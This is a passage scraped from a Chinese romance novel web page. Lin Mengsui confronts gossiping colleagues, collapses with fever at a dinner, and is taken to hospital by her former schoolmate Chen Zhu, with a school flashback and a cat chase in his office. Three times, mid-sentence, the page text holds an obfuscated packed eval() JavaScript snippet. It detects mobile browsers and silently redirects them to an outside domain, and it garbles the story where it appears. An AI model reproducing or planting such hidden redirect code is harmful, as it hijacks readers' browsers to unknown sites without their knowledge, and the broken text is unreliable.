“看不出两位私下这么能聊。”林孟随说,“什么这么有意思?拿出来分享一下呀。” 女同事摆摆手:“瞎聊,就瞎聊。快到上班时间了,我们——” 林孟随还是没动:“说真的,评判一个人的长相是最低级的。长相是爸妈给的,又不是自己选的,凭什么要拿长相说事?” “不是。”男同事打岔,“我们就是、就是……” 林孟随打量男同事,用那种男人凝视女人的目光去打量,不需要说什么,男人便红着脸,自卑又不自在了。 “以后有意见,当面说。”林孟随底气十足,来来往往的同事都听到了,“还有,不要因为别人得到了你想要的东西,就认为人家用了不正当的手段。” “我既然能得到,那就是因为我值得。” 说完,让开位置,两位同事夹着尾巴跑了。 空气清新了。 林孟随进去沏咖啡,没一会儿,老蔡进来,说:“够刚啊。” “不然呢?”林孟随揉揉太阳穴,从下车后她就有点儿晕乎乎的,“让他们以为我是个海归吉祥物?” 其实大多时候,林孟随活得蛮“糙”。 用父母的话说:你这孩子神经粗得像电线杆。 除了真正上心的,没什么能让她在意计较。 可再粗的神经也不能在听到别人这么诋毁自己时还无动于衷,这情况要是还无动于衷,那叫傻子。 老蔡为组长点个赞,也去沏咖啡。 林孟随看看他,说:“老蔡,我知道你想的什么。你觉得我一个新人,绣花枕头,中看不中,跟着我做项目,到头来就是白忙一场。” “没没没!我没有……” “但凡你认真一点,看看我每天给你和离离发的工作计划还有方案,我不信你还会这么认为。” “……” “当然了,如果你连一个人有没有真正的能力都看不出来,那你也活该在台里这么窝着,还理想当一名自由摄影师?” “……” “做梦。” 老蔡傻了。 他忽然觉得面前的人好陌生。 那个玩小石子的天真小公主呢?那个看人家比赛比参赛本人还激动的小女生呢? 哪儿去了? “不是……”老蔡抹抹汗,“你……你怎么知道我以前想当个自由摄影师?” 林孟随笑得甜,湿漉漉的眼睛更显得她无辜:“这你就管不着了。” 老蔡:“……” * 很快,林孟随茶水间大战嘴贱同事的事也传开了。 现在别的不说,林主持的名气是越来越大,而且也别管她做没做出实绩,她都给广大同事们提供了茶余饭后的谈资,可谓功德一件。 朱晓慧对林孟随这次的行为赞不绝口,两人吃饭时,给林孟随都夸到天上去了。 林孟随嗯啊嗯啊地应和,朱晓慧看她无精打采,问:“怎么?还生那俩气呢?” “没。”林孟随喝口汤,“我感觉我好像要感冒。” 朱晓慧端着餐盘坐另一头去了。 林孟随:“……” 那些赞美都是骗人的么。 朱晓慧说:“友谊想要持久,还是同甘比较好。不过我看你这脸色……你要实在不舒服就早点下班,正好明天周末,好好休息一下。” “不行。”林孟随叹口气,没胃口吃了,“今晚研发团队为我们准备了欢迎宴。” 一早就定好的,不去不合适。 * 办公室里,郑征小声哼着小曲儿。 他抽屉里有一面小折叠镜,这一下午,他拿出来照了好几次。 刘建兰进来的时候,正好瞅见郑同学偷偷摸摸对着镜子挤眉弄眼。 “咱们团队改走美妆路线了?”刘建兰笑道,“小郑,你够呛出道啊。你学长比你美。” 郑征羞臊,给镜子放了回去。 孙泉说:“人家不为出道,为上道。” 刘建兰笑了笑,转而问他们陈逐今天来科研楼了没? “我是没看见。”郑征说,“孙哥,你见了吗?” 孙泉摇头。 刘建兰一听,也不问了,出了门直接打过去电话。 那头隔了几秒接通。 刘建兰上来就是一波输出:“晚上和电视台的吃饭,你是团队领队人,不来不合适。七点,那家江南菜,包间416。” “没时间。” “那就挤挤。”刘建兰说,“你说你,作为主角怎么这么不配合呢?再说了,这本来也是制造机会让大家放松放松,增进增进团队意识。人家小林一个姑娘家不爱应酬都答应了,你能不能也大气点儿?” 整个研发团队,也就刘建兰敢这么和陈逐说话。 一是因为年长,是前辈;二是因为陈逐除了搞技术,什么都不想管,团队打理全靠刘建兰一个人。 队伍组织到现在,陈逐是感谢敬重刘建兰的。 沉默片刻,陈逐说:“我看吧。”然后挂了电话。 刘建兰对着手机骂“臭小子”,转念一想,又记起他今天好像在开发区有个会? 要是真的,是很难赶回来。 * 傍晚,三人小组坐老蔡的车前往酒店。 这是老蔡主动提出来的。 他说吃完饭也晚了,林孟随和离离单独回家不安全,到时候他再把她们送回去。 说这话时,老蔡脚掌一个劲儿在地上啪嗒。 他年纪不大,虽是人人叫一声“老蔡”,实际比林孟随还小两岁,有孩子气。 见他这样别别扭扭的,离离嘴巴张成一个“O”,看着林孟随,心道这还是老蔡吗? 林孟随笑笑,三人愉快出发。 到了地方,林孟随远远便看见郑征站在门口等他们。下了车,郑征又热情地迎上来,说大家已经在里面了。 这场聚会算上林孟随这边,一共十四人。 包间定的大包,两张大桌,一桌十个人,大家坐着宽敞舒适。 林孟随数了下,团队里是七男三女,学历清一色博士毕业或在读,只有郑征和一个女同学是研究生。 也是高学历人群聚会了。 但成年人到了饭桌上,不管什么学历职业,还是逃不过烟酒那一套。 尤其男性占比大的时候。 孙泉几次带头说大家举杯喝一个。 前面还好,女生们统一果汁,后来也不哪位女生起头喝了酒,孙泉就让林孟随她们怎么也得意思一杯,就当为拍摄工作图个好彩头。 林孟随不是放不开的人,只是她今天不太舒服,也不知道这酒喝下去,会不会有事? 正犹豫着,郑征对她说:“你要不想喝,我替你喝。” “诶诶诶!替喝可得加倍啊。”孙泉拍桌子,“至少三杯!” “三杯就三杯。” 有人起哄了,说郑征长大了,懂得怜香惜玉保护女孩子了。 郑征红着脸不说话,看林孟随意思。 林孟随谢谢郑征的好意,但这酒要是真让郑征喝了,有些事恐怕就说不清了。 最终,林孟随端起酒杯,笑道:“特别开心因为这次的访谈而认识大家,我先干为敬。” 白酒一口下肚。 孙泉鼓掌说好样的,其他人也跟着干了一杯。 聚会气氛越来越热,大家的话也多起来,有的聊技术上的事,有的也说家长里短。 林孟随坐在期间,耳边的声音时近时远,不太妙。 她想找服务员要杯水,刘建兰举着酒杯过来,说:“小林,我敬你。你喝果汁就行啊。”说着,又放低声音,“我没酒瘾。” 林孟随:“还是我敬刘老师,辛苦您了。” 刘建兰见小姑娘面如桃花,大好青春,忍不住又问:“恋爱了吗?我手里别的不多,年轻高材生可是一把一把的。” 林孟随总能叫这位老师给逗笑,回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379365|184074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“没呢。我手里项目一个,时间不够不够的。” 刘建兰哈哈笑,不再多嘴,叫她好好吃,便去找别的团队成员说话了。 郑征一直竖着耳朵听林孟随这边的动静,见刘建兰都把话题引到这上来了,就想要不一鼓作气,他现在就毛遂自荐? 林孟随坐下后头晕得厉害,水都忘了要,完全没察觉到郑征的跃跃欲试。 郑征一点点靠近,心跳如鼓,张开口:“孟随,我想——” 话才起了个头,包间门打开,众人一顿,齐齐看去—— 陈逐来了。 只见男人阔步前行,身姿高大挺拔,手臂上搭着一件西服,深灰色的衬衣两粒扣子解开着,露出一片冷白的小三角区。 他像是从哪里开完研讨会似的,眉眼之间似有疲倦,但状态松弛,还不失儒雅。 “学弟啊!” “头儿你可来了!” 大家纷纷呼唤,起身相迎。 一个不大不小的插曲,恰恰好打消了郑征一时产生的勇气。 男生闷口酒,萎在了椅子上。 林孟随也跟着起身叫人,声音湮灭在其他话语声中。 陈逐被团团围住,说了两三次抱歉迟到,回应间,目光越过他人肩头看向某处……瞥到那张脸,以及脸上的粉红时,他微不可见地蹙了下眉。 林孟随一手撑在椅背上,盼着赶紧坐下,可有人众星捧月,簇拥者太多,话没完没了。 心里小抱怨,她往某人身上白了一眼,好死不死,竟和正主撞上。 她火速别过头,想装作我很忙的样子,可脑袋一转,又是晕得厉害。 有人说:“作为我们团队的核心人物,来晚了是不是得罚一杯啊?” “没错!得罚!” “要我说,罚一杯都不行。”孙泉似笑非笑瞧着陈逐,“今天是给电视台的同事接风,怎么也得对着人家再自罚一次。” 林孟随听到又要喝酒,胃里咕噜一下。 按理说,陈逐作为“头儿”,她要是不喝这酒说不过去,可是…… “既然是罚,就没有他人还作陪的道理。” 说这话时,陈逐走到了林孟随身边。 林孟随抬头看向他,男人侧脸出色,鼻梁高挺,下颌优越,比画里的人物还好看。 他拿起分酒器和小酒杯,满上,说:“我自罚三杯。” 说罢,仰脖就是一杯,每次都喝的干净利落。 离离拽拽林孟随袖子,耳语:“多亏陈总了,我可不想喝了。” 林孟随点点头,再向那人看去,他喝完最后一杯,向大家展示空杯,然后转过头说了一句:“欢迎你们的到来。” 头顶水晶灯明亮迷乱,有那么一瞬间,林孟随产生错觉。 ——错觉她和陈逐的视线有了交互。 聚餐还在继续。 陈逐被引到正位上落座,和林孟随又是对角线的位置。 大家都去找陈逐交谈,郑征也来了精神,成员们凑在一起,聊起技术改进或技术难点。 只有一个人,孙泉,会突兀地插嘴说什么“不愧是大神”、“大神一出手,小喽啰全没有”之类的话。 林孟随这会儿已经上升到头昏脑涨,但还是敏感地觉出这人话里的阴阳怪气。 不过她现在也没心思多想什么,之前喝下的酒开始烧她的胃,她想吃两口东西缓冲一下。 看了看,也就那道清淡的素炒山药还能合胃口,她也爱吃山药。 林孟随滑动转盘取菜,神奇的是,每当山药快转到她这边时,就会有另外的人也转动转盘,让山药离她远去。 她不知道是谁在和她较劲,就想赶紧吃口东西,结果第三次转的时候,又有一股反作用力和她对抗。 林孟随撂下筷子,不吃了,而下一秒,峰回路转,山药又出现在她面前。 她依旧没看到是谁转的桌,但见没人再转,赶紧夹了两块。 对面,陈逐解答着同事们在模拟电路中遇到的问题。 他说完一点就倾听同事们的反馈,等待的工夫,拿起茶杯抿了抿,眼神跟着茶杯轻微转动。 之后,又有人过来向林孟随他们三个表示欢迎。 现下再来的都是比较随和的人,没非找什么由头让喝酒。 但林孟随喝与不喝都不太行了。 那两片山药吃下去,胃里居然更不舒服,她感觉她可能要吐。 “离离,我去趟卫生间。”林孟随站起来,“有事你给我发微信。” 林孟随捂着嘴往卫生间小跑。 来到马桶前,她把肚子里的东西全吐了出去,本以为这样也就轻松了,可她忽然又觉得好冷,骨头缝里都冷的那种。 她从隔间出来,往水池那边走。 女卫生间的三个水台都有人占着,她去了男女卫生间之间的公共水池。 捧了几把水漱漱口,林孟随看着镜中自己潮红的脸,知道自己不是感冒,是发烧了。 这几年,她身体不比从前,一到换季或者流行病多发季,十有八九就得中招。 医生说是以前服用药物导致的免疫力低下,得慢慢养回来,可偏偏她回国后连时差都调整不好…… 林孟随掏出手机,想和离离说一声她得先走了。 然而,眼前模糊,手指也不听使唤,摇摇欲坠时,她听到身后传来脚步声。 她扭头看去,也瞧不清对方的模样,只感觉是熟悉的,让她心安的,再就是—— 林孟随失去了意识。 8. 黑猫警长 陈逐离开了包间。 刘建兰见状,想起有件事还没和他商量,这会儿抽空说一下,便也跟了出去。 走廊上,刘建兰遇到几个服务员。 刘建兰笑呵呵朝人家问好,他是这家餐厅的老主顾,都熟,平时吃饭都有折扣。 快进入卫生间区域时,刘建兰收到老婆大人的消息,他停下脚步回复。 老夫老妻,油里调蜜。 刘建兰笑着搓光头,归心似箭,等回完消息,再抬起头,愣住。 ——十米外,陈逐抱着一个人。 男人身型宽大,两只手臂从身侧绕到前面,肩胛骨处凸起着,在衬衣上形成两个鼓包。 他是完全包裹住了怀里的人。 刘建兰揉揉眼。 探身再看,又见男人黑色西裤旁多出一抹柔和浅淡的米白色,是女人的裙摆。 刘建兰:天啊。 他这是酒喝多了出现幻觉了吗? 刘建兰一时不知道自己是该躲起来,还是过去看看谁让万年铁树张开的怀抱,纠结间,陈逐弯腰将人打横抱起,朝他走来。 四目相对。 陈逐眼中无波无澜,只两只抱着人的手,手背上青筋分明。 反观李建兰,那真是就着他光头的反光,原地跳了一出迪斯科,嘴里“你你你、这这这”说了一串儿,目送陈逐抱着林孟随离开。 来到酒店外,陈逐拦了一辆出租车。 司机师傅见这情景,不太想接这个活儿:“这是不是得叫救护车?” “发烧。”陈逐解释,“我给您加二百。” 也不是为了钱,主要怕惹麻烦。 师傅咂咂嘴,瞧这一男一女倒也不像那些胡乱的人,又看人家着急,最终心一软,点头同意。 司机下来给他们开门。 他本想搭把手,结果男人手稳得很,护得也细,没叫女孩磕着碰着半点儿,倒显得他这好心多余了。 安置好林孟随,陈逐绕到另一边上车。 师傅问去哪个医院?离这里最近的应该是第三医院。 陈逐看了眼靠在车窗边的女孩,她的脸比之前更红了,唇色却苍白,眉头紧锁,张着嘴,小口小口地快速呼吸。 “去德仁。” “那个私立医院啊?” “嗯。” 车子在前面调转了车头。 没过一会儿,刘建兰打来电话。 “这是怎么回事?小林昏倒了?你带着人家去哪儿啊?”刘建兰三连问,“我现在还没回包间呢,我和大家怎么说?” 陈逐:“对她的两个同事说实话,请他们吃完饭来一趟医院。其他人,就说她有急事先走。” 一口一个“她”,弄得刘建兰还有点迷糊。 等反应过来后,他又品出了陈逐话里的滴水不漏。 虽说电视台和北城大学是合作关系,但再怎么说,电视台也是“乙方”。 今天“甲方”请客,乙方的人在饭桌上病倒了,这叫甲方怎么想? 一个搞不好,小姑娘落个娇气的名声都是轻的。 “行。”刘建兰说,“这事交给我。等完事了,我和小林同事一块儿过去。” 陈逐“嗯”了声,还要嘱咐什么,肩膀一沉。 “小林情况怎么样?严重吗?”刘建兰又问,“也怪我没拦着,孙泉那几个就好劝酒。你……陈逐?你在听吗?” 陈逐一动不动。 他的半个身子正在急速升温,似有火钻进他体内,直烧到心脏。 而这时,车子又是一个颠簸,那人直接倒他腿上,趋势还要再往下滑…… 陈逐一把将人捞起,按进了怀里。 可许是他动作有些粗鲁了,怀里人抗议,发出细小的抗议声,把脸埋到了他胸膛上,不满地蹭了蹭。 “抱紧你对象。”师傅说,“这条路这段时间翻修,坑坑洼洼的。” 陈逐:“……” 电话那边,刘建兰已经喊起来:“怎么了?是不是出事了?要不我现在就过去吧!” “不用。”陈逐低声道,“她……没大事。” 就是身体很烫。 可有多烫,他也分不清。 * 到了医院,值班医生立刻给林孟随进行急诊。 林孟随被安排着,躺在床上,似醒非醒。 她感觉有什么刺目的东西在照她的眼睛,还好就照了两下,她还听到了说话声。 有一个特别好听,低沉有磁性,叫她心里既享受又踏实;还有一个,嗓子尖得很,像鸡打鸣。 林孟随用力掀开眼皮,眼前就跟蒙了一层雾似的,什么都看不清。 只是那轮廓和他好像。 是他吗? 林孟随想。 不。 不是的,他早把她忘了。 喉咙里涌起一股酸涩,林孟随又没了意识。 “应该是最近这些天降温,着凉了。”医生说,“验一下血,看看情况,再决定用什么药。保险起见,今晚可以留院。” 陈逐遵医嘱,去交费,出了门又折返回来,说:“值班医生有女医生吗?” 男医生一愣,不知道该怎么接这话。 想说你这是不尊重人吧,我有职业操守,可眼看面前这位如此理直气壮,又觉得人家也是一心为了女朋友着想。 末了,男医生点头:“有,我去换她过来。” “谢谢。” 陈逐转身,医生叫住他,又问:“病人有药物过敏史吗?” “她桃子过敏。” 医生噗地一笑,是真不计较了,说:“药物,不是食物。” “……” “我不清楚。” “那之后用药的时候多注意一些吧。”医生笑笑,“实在不行,就得皮试了。” 陈逐皱了下眉,没说什么,去交费了。 很快,单据开出来,医生让护士给林孟随抽血。 护士端着器具来到诊室外,见陈逐站在门口,说:“家属可以进去。” 陈逐没动,护士也没多管闲事,进了诊室,将门关上。 护士给林孟随手臂绑上止血带,观察后,确定符合抽血标准,又戴上手套,给针消毒…… 规范操作完毕,护士刚要进行穿刺,诊室的门忽地打开,陈逐进来了。 “……” 不是不进来么。 节奏被打乱,护士看了陈逐一眼,重新来过。 可不知怎么的,诊室里多了个人后,气氛就不一样了,紧迫、压抑,好像她扎个针是在做什么坏事一样。 护士去瞄“肇事者”,对方也并没有盯着她,而是专注地看着床上的人。 护士不再多想,工作。 冰凉的针头即将刺入女孩皮肤。 林孟随生得白,眼下因为充血,血管尤为明显,游走在她的白皙之上,泛青的、纤细的、脆弱的。 好像稍有不慎,她就会被折断。 陈逐双唇紧闭,别过头。 诊室里静得落针可闻,仿佛把无数细微的声响放大了无数倍,包括疼痛。 在针距离林孟随一毫米时,男人转回来,低叹了一句:“轻点。” 护士:“……” 我又得重新酝酿。 * 化验结果出来:病毒感染。 医生开了药,今晚输液,预计半夜就能退烧,病情明天便也好转。 老蔡和离离以及刘建兰大约一个小时后赶到。 林孟随还睡着,离离说她想等小林姐醒了再走,她自己留下就行。老蔡说还是别,他俩一起也有个照应,等人醒了,他再送离离回去。 有自己人看护,刘建兰也不多做打扰,告诉离离有什么事别不好意思,随时打电话给他,就告辞了。 这趟过来,刘建兰是找代驾开陈逐车过来的,他想着走时再找个代驾,让陈逐先把自己送回去。 两人从医院出来,刘建兰正要点开APP,听:“你走吧。” “???” 陈逐看着前方:“我得回趟公司。” “这都几点了?”刘建兰问,“还回去干什么?” “有事。” 刘建兰无语,气呼呼地叫了辆出租车,放下窗户指着陈逐:“你小子回头给我报销车费!” 说完,又不放心:“回公司叫代驾啊。” 陈逐点头。 出租车的红色尾灯消失在路的尽头。 陈逐在医院门口静立了片刻后,从台阶上下来,在停车场找到自己的车,开门上去。 夜色如墨。 今晚的风格外地冷,吹得人心里发寒,但寒中又带着一丝疼痛的爽利。 陈逐让车窗大开着。 他翻出储物箱里的烟,点上一根,吸了一口后,将手臂探出窗外,不动了。 袅袅白烟升起,混入空中,飘向远方…… “你们知道吗?隔壁班又有五个同学没来,这次的流感太厉害了!” “还用看隔壁班?你看咱们班,就剩不到四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379366|184074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分之一了。” “诶,你们知道苏倩也请假了吧?” “怎么了?” “知道她怎么病的吗?被传的哟。” “这病不就是互相传?不然还能——” “哎呀!老张传的!俩人那天在小楼后面……懂了吗?” 同学们戴着口罩,别有意味地“哦”了起来。 陈逐头正昏,趴在桌上,不想动弹。 今年这波冬季流感来势汹汹,不管平时身体是好的,还是身体差的,基本都中招了。 没中招的,那是天选上学人本选。 林孟随是其中之一。 脚步声传来,陈逐费力地抬起点脑袋,眼睛睁开一条缝,看着某人来到他身边。 “喝点水吧。”林孟随打了热水回来,“水温刚刚好。” 陈逐看着她,因为尚在病中,他的眼神有些凝固,看得林孟随心里莫名慌慌的,也怯怯的。 “你要不回家吧?”林孟随说,“反正竞赛的事你一百个没问题,何必浪费时间?” 竞赛是没问题,但竞赛老师对他多有照顾,开了口需要他帮忙,他不好推辞。 陈逐不说话,还是看着林孟随。 林孟随咬咬唇,问:“那下午自习时,我陪你去图书馆?” “嗯。” 到了下午,陈逐状态越发不好。 林孟随担心得不行,跑了几趟医务室,老师告诉她陈逐的状况属于轻症,应该不要紧,但如果想回家,也可以开假条。 陈逐不要假条,说今天完成老师交代的事,明天自然就在家里休息了。 “你就硬撑吧。”林孟随气道,“你看咱们班硬撑的那几个,哪个没倒?倒完之后,同桌倒,一倒倒一片。” 听到这话,陈逐一顿,说:“林孟随,你坐那边去。” “干什么?”林孟随噘嘴,“嫌我烦啦?” “坐那边去。” “我不。” “你……”陈逐感觉自己快要晕了,“会传染。” 林孟随笑道:“我才不怕呢。我是天选上学人。” 陈逐:“……” 她还挺自豪。 陈逐坚持让她离自己远些,她也坚持不肯,说传上又能怎么样?正好在家躺着。 越说越来劲儿,林孟随凑倒陈逐跟前,耍无赖:“你现在就传给我,我在家多歇歇!有几部电影我早就想看了,这下刚好补上。” “你不要闹。” “谁闹了?我说真的呢。”她眨眨眼,“你传给我吧,传给我,你也好了。来吧!传给我!传给我!” 光说不够,她还唱上了。 也亏得这几天学校没什么人,图书馆更是座空馆,不然林孟随这样的,非得上图书馆黑名单不可。 陈逐摇摇头,由她闹,可还是不允许她坐自己身边。 见他来真的,林孟随急了,索性摘下口罩,靠过去:“来!现在就传!” 陈逐本来脑子里就懵,突然见她这一张俏生生的脸尽在眼前,又丧失了说话功能。 因为这段时间一直戴口罩,林孟随鼻梁连同眼下的位置有了一道浅浅的压痕,像是一个记号,也像是一道分界线,将她那双小鹿眼衬得更加分明。 她还常常说个不停,又不及时喝水,嘴巴有些干,但也还是粉粉的,带着无论什么颜料都调不出的色彩。 陈逐越看越晕,可又挪不开目光,看着看着,耳边冒出一句同学的话来:“知道她的病怎么传的吗?” 少年无法遏制自己思想的翻涌,连同身体上的,一起叫嚣着,使他双耳通红。 林孟随见他如此,以为是叫自己给气得病情又严重了,她赶忙戴上口罩,想着还是用别的方法求他让自己留下。 话未出口,陈逐哑声说:“你知道怎么才能最快传上吗?” 林孟随歪头:“嗯?” 看她一副纯真懵懂,陈逐懊悔,在心里狠狠鄙视了自己,说:“没什么。” 林孟随盯着他,他低下头,继续一本正经:“生病不是闹着玩的。你不要……” “我知道。” 陈逐心脏猛地一跳。 林孟随趴到桌上,羞红的脸埋在臂弯里,咕哝:“传就传。” 啪。 陈逐撂下笔,也不知是气的还是恼的,那双琥珀色的眼睛躲躲闪闪,不敢往女孩身上移,只说:“林孟随,你能不能矜持点?” 林孟随整张脸埋进去。 过了会儿,小声顶嘴:“跟你怎么矜持。” 9. 黑猫警长 眼前闪过一道白光,陈逐眯了眯眼睛。 适应后,他的车子前停了辆SUV,车主降下车窗,问道:“走吗?” 陈逐收回撂在外面的手,香烟经他一抖,烟灰掉落大半,他告诉对方:“喝酒了。” 车主明了,挥挥手,去找别的车位。 几分钟过去,香烟燃尽。 陈逐拿出手机找代驾,屏幕解锁,显示的还是他刚刚在医院的付款账单,费用并不多,但检查项目不少。 天选上学人。 这么多年过去,到底还是变了。 陈逐眼底刮过一丝冷嘲,他退出界面,点进代驾APP。医院附近接单的人不少,只要他下单,马上就能有人来接。 手指悬在“确认呼叫”的按键上,按下前,他脑海里浮现出那抹白皙之上的青色…… 良久。 陈逐将手机扔到副驾上,又点了根烟。 * 林孟随终于醒了。 渴醒的。 离离看出她是想找水喝,斟了一杯,喂她喝下。 林孟随睁开眼,病房内灯光柔和,没叫她太难受。 “我这是在医院?”她问。 离离和老蔡一人一句说了大致情况。 “刘老师和我们说的时候,吓我俩一跳。”离离说,“小林姐,你不舒服该早说啊。幸亏没出大事。” 老蔡“哼”了声:“不喝酒到不了这份儿上。真没想到这些搞研究的也都是酒虫子。” 听着这两人的话,林孟随坐起来,脑袋还是晕,嗓子也痛得要命,她声音沙哑道:“那研究团队的人不知道我是病了,对吧?” “不知道。”离离又递去一杯水,“他们以为你是被台里紧急召回,我和老蔡又拿台里的八卦打打马虎眼,他们就都信了。” 那就好。 不然在人家做东的时候她出事,别人得以为她是纸糊的。 林孟随松口气,举起杯子喝水,突然想到什么,又问:“你们刚刚说是陈、陈总送我来的医院?” 离离说是啊,然后起身去拿林孟随的包,让她检查有没有遗漏什么东西。 林孟随道谢,随便看了看,心里想的是:居然真的是他,不是梦。 她心生感激,可感激的同时,又还有丝丝缕缕别的情绪缠绕在心头,说不清道不明。 “小林姐,你是不是打电话叫你家里人过来陪你?” 离离这么一说,林孟随才晓得看时间,都快十一点了,她忙道:“真是不好意思。你们快回家吧,耽误你们时间了。” “这才几点?”老蔡一个熬夜王者,“我们等你家里人来了再走。” 林孟随说:“不用,我一个人没问题。” 况且,她爸妈也来不了。 老林在德国谈合作,领导孟女士在外省调研,两位一个比一个忙,等他们来了,她都出院八百年了。 “那还是我留下陪你吧。”离离说,“我在沙发上休息就很好。” 林孟随摇头:“真的不用。这里护士二十四小时监控输液,不会输空液。我也就是睡觉休息,根本不用人陪。” 离离和老蔡互相看看,觉得也有道理。 私立医院旁的不说,设施和安保是真的好。 尤其这个德仁,保安全天候巡逻,内里也跟五星级酒店似的,病房还都是单间,豪华舒适。 离离放下心,不再勉强,和老蔡离开…… 病房里剩下林孟随一个人。 她重新躺好,输液管发出滴答滴答的声响,空气里飘散着清淡的香氛气味,有助眠功效,可她却睡不着。 她也不知道自己该想点什么,就那么呆呆躺着,躺得腰有些酸了,翻个身。 一动,后背被硌了一下。 林孟随手在被子下面摸索,摸到拿出来——一支签字笔。 看到的第一眼,她的反应是有些眼熟,配色眼熟:深棕色配金色。 林孟随一向喜欢那些花花绿绿的颜色。 上学时,她就致力于把自己用的东西打造成“彩虹系”——这是她自己总结的派系,毕竟那时还没有多巴胺配色这个词。 棕色和金色并不属于林孟随喜欢的范畴内,但这俩配在一起,会让她想起小时候爷爷奶奶带她去乡下麦田里放风筝的情景,所以她对这两个颜色还是颇有好感的。 是离离的笔吗?还是老蔡的? 林孟随拍了张照片发群里,离离和老蔡都说不是他们的。 那是谁的? 林孟随一下想到了另一个人。 陈逐能送她来医院,没什么好奇怪。 他只是“忘”了她,又不是想让她如何,能帮忙的时候肯定不会见死不救。 只是她该怎么去表示她的感谢呢?又或者不表示? 要是不表示的话,未免白眼狼;可表示的话,人家未必会接受,而且以他们如今的关系,少有互动才是最好的。 叹了口气,林孟随将笔放进包包的隔层里。 总躺着有些难受,她小心地固定好输液针,取下输液瓶,走到窗前。 窗下对着医院的停车场,黑压压的一片,乍一看,有些吓人。 但若细看看,零星一两辆车内有微弱的光亮发出,像小星星似的,成了黑夜里唯一一点暖的点缀。 林孟随看着那一点光,看了很久,直到睡意降临。 * 林孟随这一病,休息了四天。 她和台里请假,每天和“病魔”做斗争。 不过生病虽苦,但托这次病毒的福,她回国后怎么都调不过来的时差调过来了! 她也不知道是医生开的药助睡眠,还是怎么,总之从在医院回家后,她就能在十二点前进入梦乡了。 林孟随非常高兴。 人一高兴,病好得也快。 周三,林孟随早早起床,化了一个美美的妆,前往北城大学。 今天研发团队召开分析会,内容不涉及机密,可以录像录音,非常适合取材。 林孟随溜溜达达来到科研楼,保安室值班的大叔看到她,打招呼:“好几天没见林小姐了,今天来得很早啊。” “徐叔早上好。”女孩笑容明媚,“前几天有点事,现在好了,得上班啦。” 大叔跟着她笑,抓了一把自家炒的瓜子送她。 林孟随来到刘建兰为电视台特意安排的临时办公室。 放下包,她惦记去科研楼后面的便利店买点饮料咖啡什么的,等一会儿给离离和老蔡,不想一出屋,和拐角的一只黑猫警长撞个正着。 这奶牛猫不愧是北城大学猫协培养出来的猫,进人家地盘就像回自己的家,给了林孟随一个傲娇不屑的眼神,就竖着尾巴往前走去。 林孟随克制住撸猫的冲动,看着它一步步走远,走到某个房间前,轻巧一跳,竟然打开了门! 这就是名校的猫吗? 林孟随惊叹不已,可等她看清楚奶牛猫进的是哪个房间后,又倒吸了口气。 那是陈逐的更衣室,也是休息室。 而陈逐他—— 顾不了那么多,林孟随跑了过去。 奶牛猫正在陈逐的衣柜前伸懒腰,衣柜外挂着陈逐的一条西裤,裤脚上已然沾到了猫毛。 林孟随招手:“咪咪,你出来!我那儿有猫条。”说着,又跑回办公室取猫条。 再回来,奶牛猫窝在陈逐的沙发上销.魂舔毛。 “你不能在这里!”林孟随说,“快下来!下来!” 她撕开猫条,猫咪鼻子嗅嗅,似乎是觉得东西不行,打动不了它,继续大爷似的躺着。 林孟随:“……” 嘴还挺刁。 林孟随琢磨是不是上手直接抓? 可这些猫亲人归亲人,如果认为有人要攻击它,想必也不会乖乖就范。 “下来吧。”林孟随蹲下和猫打商量,“你听话。” “喵!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379367|184074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……” 引诱不成,那就只能来硬的了。 林孟随放下猫条靠近,那猫却是成了精,像是知道她的来意,“嗷”的一声,跳到别处。 抓捕失败。 林孟随不放弃,猫也不认输,一人一猫在陈逐的休息室里上演了一出:它逃她追,它插翅难飞。 郑征在食堂吃完早餐来科研楼。 走在楼道里,就听哪个屋乒乓乱响,他过去一看,惊道:“孟随,你干什么呢?” “郑征!”来的正好,“你快帮我捉住这只猫!” 郑征弯腰看躲在沙发下面的奶牛猫,想说这只不用管的,没事,可林孟随催得紧,又十万火急,非要他抓。 郑征只好过去搬沙发,林孟随和他一起。 两人靠的有些近,手臂几乎快贴上,正要劲儿往一处使,就听:“二位。” “……” “……” 门口,陈逐静静站着。 他的表情一如往常淡漠,眼神却凉凉地在林孟随和郑征的胳膊间一扫而过,问:“在我休息室做什么了?” “你快出去!”林孟随说,“快出去!” 陈逐:“……” 双方一时僵持,躲起来的奶牛猫则是看到了靠山,它嗖地一下从沙发下面跑出来,然后灵巧地蹿到了陈逐身上。 林孟随心都揪起来了,下意识喊道:“陈逐!” 陈逐一怔,托猫的手颤了颤,差点让猫掉下去。 他看向林孟随,林孟随也看着他,两人隔着不到三米的距离,一个满眼焦灼,一个似是平静。 